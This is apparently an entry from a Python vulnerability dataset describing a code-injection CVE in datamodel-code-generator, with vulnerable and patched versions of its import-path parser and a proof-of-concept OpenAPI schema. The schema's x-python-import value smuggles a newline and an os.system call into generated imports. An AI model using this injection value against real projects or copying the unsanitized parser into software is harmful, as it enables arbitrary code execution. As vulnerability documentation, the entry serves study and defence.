CVE-2026-55415

Code injection in datamodel-code-generator via malicious schema extensions.

• CVSS 7.5
• 94
• Input Validation and Sanitization
• Local

datamodel-code-generator generates Pydantic v2 models, dataclasses, TypedDict, and msgspec.Struct from OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON, YAML, or CSV. From 0.11.6 until 0.64.0, datamodel-code-generator allows attacker-controlled x-python-import or customTypePath schema extensions to reach src/datamodel_code_generator/parser/jsonschema.py and generated import handling through Import.from_full_path and Imports.create_line in src/datamodel_code_generator/imports.py, allowing a newline to break out of an import statement and execute Python code when the generated model is imported. This issue is fixed in version 0.64.0.

CVE

CVE-2026-55415

CWE

94

CVSS base score

7.5

Published

2026-07-28

OWASP

A03 Injection

Orthogonal defect classification

Checking

Code defect classification

Missing Check

Category

Input Validation and Sanitization

Subcategory

Command Injection

Accessibility scope

Local

Impact

Arbitrary Code Execution

Affected component

datamodel-co

Fixed by upgrading

Yes

Solution

Upgrade `datamodel-code-generator` to version 0.64.0 or later.

from __future__ import annotations
from typing import Optional, Type, TypeVar

T = TypeVar('T', bound='Import')


class Import:
    def __init__(
        self,
        from_: Optional[str] = None,
        import_: str = '',
    ):
        self.from_: Optional[str] = from_
        self.import_: str = import_

    @classmethod
    # VULNERABLE: The `full_path` is not sanitized, allowing a path with a newline to be split and stored.
    def from_full_path(cls: Type[T], full_path: str) -> T:
        """
        Creates an Import object from a full Python path string.
        e.g., "datetime.datetime" -> from_="datetime", import_="datetime"
        """
        if '.' not in full_path:
            return cls(import_=full_path)
        module, name = full_path.rsplit('.', 1)
        return cls(from_=module, import_=name)

    def __str__(self) -> str:
        """Creates the import line to be written to a file."""
        if self.from_:
            return f'from {self.from_} import {self.import_}'
        return f'import {self.import_}'

from __future__ import annotations
import re
from typing import Optional, Type, TypeVar

T = TypeVar('T', bound='Import')


class Import:
    def __init__(
        self,
        from_: Optional[str] = None,
        import_: str = '',
    ):
        self.from_: Optional[str] = from_
        self.import_: str = import_

    @classmethod
    # FIX: The `full_path` is validated to ensure it is a valid Python import path, preventing injection.
    def from_full_path(cls: Type[T], full_path: str) -> T:
        """
        Creates an Import object from a full Python path string.
        e.g., "datetime.datetime" -> from_="datetime", import_="datetime"
        """
        if not re.match(r"^[^\d\W]\w*(\.[^\d\W]\w*)*$", full_path):
            raise ValueError(f"Invalid python path: {full_path}")
        if '.' not in full_path:
            return cls(import_=full_path)
        module, name = full_path.rsplit('.', 1)
        return cls(from_=module, import_=name)

    def __str__(self) -> str:
        """Creates the import line to be written to a file."""
        if self.from_:
            return f'from {self.from_} import {self.import_}'
        return f'import {self.import_}'

{
  "openapi": "3.0.0",
  "info": {
    "title": "Exploit Payload",
    "version": "1.0.0"
  },
  "paths": {},
  "components": {
    "schemas": {
      "MaliciousModel": {
        "type": "object",
        "properties": {
          "injected_field": {
            "type": "string",
            "x-python-import": "dummy_module\nimport os; os.system('echo PWNED') #"
          }
        }
      }
    }
  }
}

@misc{vaitp:cve202655415,
  title        = {{Code injection in datamodel-code-generator via malicious schema extensions.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-55415},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-55415/}}
}